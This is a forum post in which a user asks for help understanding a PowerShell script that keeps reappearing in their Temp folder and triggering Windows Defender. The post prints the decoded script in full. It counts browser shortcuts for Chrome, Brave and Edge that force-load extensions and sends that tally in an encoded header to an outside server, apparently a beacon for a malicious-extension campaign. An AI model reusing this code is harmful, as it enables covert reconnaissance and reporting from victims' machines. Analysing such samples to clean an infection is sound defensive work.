I’ve been receiving Windows Defender notifications each half hour since a couple days. The afected file is a ‘.ps1’ file that is constantly appearing at the path ‘C:\Users\sualp\AppData\Local\Temp’.
I have opened it with the text editor and it was encrypted 2 times using 64 base. The code itself is this:
$searchPaths = @(
"$env:USERPROFILE\Desktop",
"$env:PUBLIC\Desktop",
"$env:ALLUSERSPROFILE\Microsoft\Windows\Start Menu\Programs",
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs",
"$env:APPDATA\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar",
"$env:USERPROFILE\OneDrive\Desktop"
);
function Get-Install {
param (
$appname
)
$active = 0;
$inactive = 0;
$rgx = New-Object 'System.Text.RegularExpressions.Regex' '\s?--load-extension=(("[^\r\n"]*")|([^\r\n\s]*))';
$shell = New-Object -comObject WScript.Shell
for ($searchPath_index = 0; $searchPath_index -lt $searchPaths.Count; $searchPath_index++) {
$searchPath = $searchPaths[$searchPath_index];
if ((Test-Path $searchPath) -eq $false) {
continue;
}
$lnks = Get-ChildItem -Path $searchPath -Filter "*.LNK"
foreach ($lnk in $lnks) {
$lnkobj = $shell.CreateShortcut($lnk.FullName);
$target = $lnkobj.TargetPath;
if ((Test-Path $target) -eq $false) {
continue;
}
$target = (Resolve-Path -Path $target).Path.ToLower();
if ($target.EndsWith($appname, 'OrdinalIgnoreCase')) {
$enabled = $false;
$arguments = $lnkobj.Arguments;
if ($null -ne $arguments) {
$m = $rgx.Match($arguments);
if ($m.Success -eq $true) {
$path = $m.Groups[1].Value;
$path = $path.Trim('"');
$enabled = ((Test-Path $path) -eq $true);
}
}
if ($enabled) {
$active++;
}
else {
$inactive++;
}
}
}
}
return "$($active),$($inactive)";
}
$verified = "100`r`n";
$verified += "0,$(Get-Install 'chrome.exe')`r`n";
$verified += "1,$(Get-Install 'brave.exe')`r`n";
$verified += "2,$(Get-Install 'msedge.exe')`r`n";
Invoke-RestMethod -Uri 'http://api.private-chatting.com/update' -Headers @{ 'X-notify' = ([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($verified))) }
Can someone please help me to understand what it really does? Thanks a lot